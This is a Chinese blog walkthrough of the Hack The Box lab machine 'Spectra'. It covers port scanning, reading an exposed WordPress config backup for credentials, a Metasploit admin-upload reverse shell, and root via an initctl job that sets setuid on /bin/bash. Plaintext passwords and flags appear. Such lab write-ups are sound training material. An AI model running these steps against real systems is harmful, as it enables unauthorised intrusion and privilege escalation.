[Meachines] [Easy] Spectra Wordpress Plugins Shell+initctl权限提升

Information Gathering

IP AddressOpening Ports
10.10.10.229TCP:22,80,3306

$ ip='10.10.10.229'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 5247de5c374f290e8e1d886ef9234d5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql?

Path Traversal && Wordpress Plugins Reverse Shell

image.png

# echo '10.10.10.229 spectra.htb'>>/etc/hosts

image-1.png

$ curl http://spectra.htb/testing/wp-config.php.save

image-2.png

username:devtest
password:devteam01

http://spectra.htb/main/

image-3.png

http://spectra.htb/main/wp-login.php

image-4.png

username:administrator

image-5.png

use exploit/unix/webapp/wp_admin_shell_upload
set USERNAME administrator
set RHOSTS 10.10.10.229
set TARGETURI /main
set LHOST tun0
set PASSWORD devteam01
run

image-8.png

$ cat /etc/autologin/passwd

image-9.png

SummerHereWeCome!!

$ ssh katie@10.10.10.229

User.txt

e89d27fe195e9114ffa72ba8913a6130

Privilege Escalation:initctl

image-10.png

$ scp katie@10.10.10.229:/sbin/initctl ./

initctl 是一个用于管理系统初始化进程的命令,它通常用于系统的启动、停止、重启和管理系统服务等操作

$ cd /etc/init

列出服务状态

$ sudo -u root /sbin/initctl list | grep test

image-11.png

$ sudo -u root /sbin/initctl stop test

image-12.png

image-13.png

description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script
    chmod +s /bin/bash
end script

image-15.png

$ sudo -u root /sbin/initctl start test

$ /bin/bash -p

Root.txt

d44519713b889d5e1f9e536d0c6df2fc

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值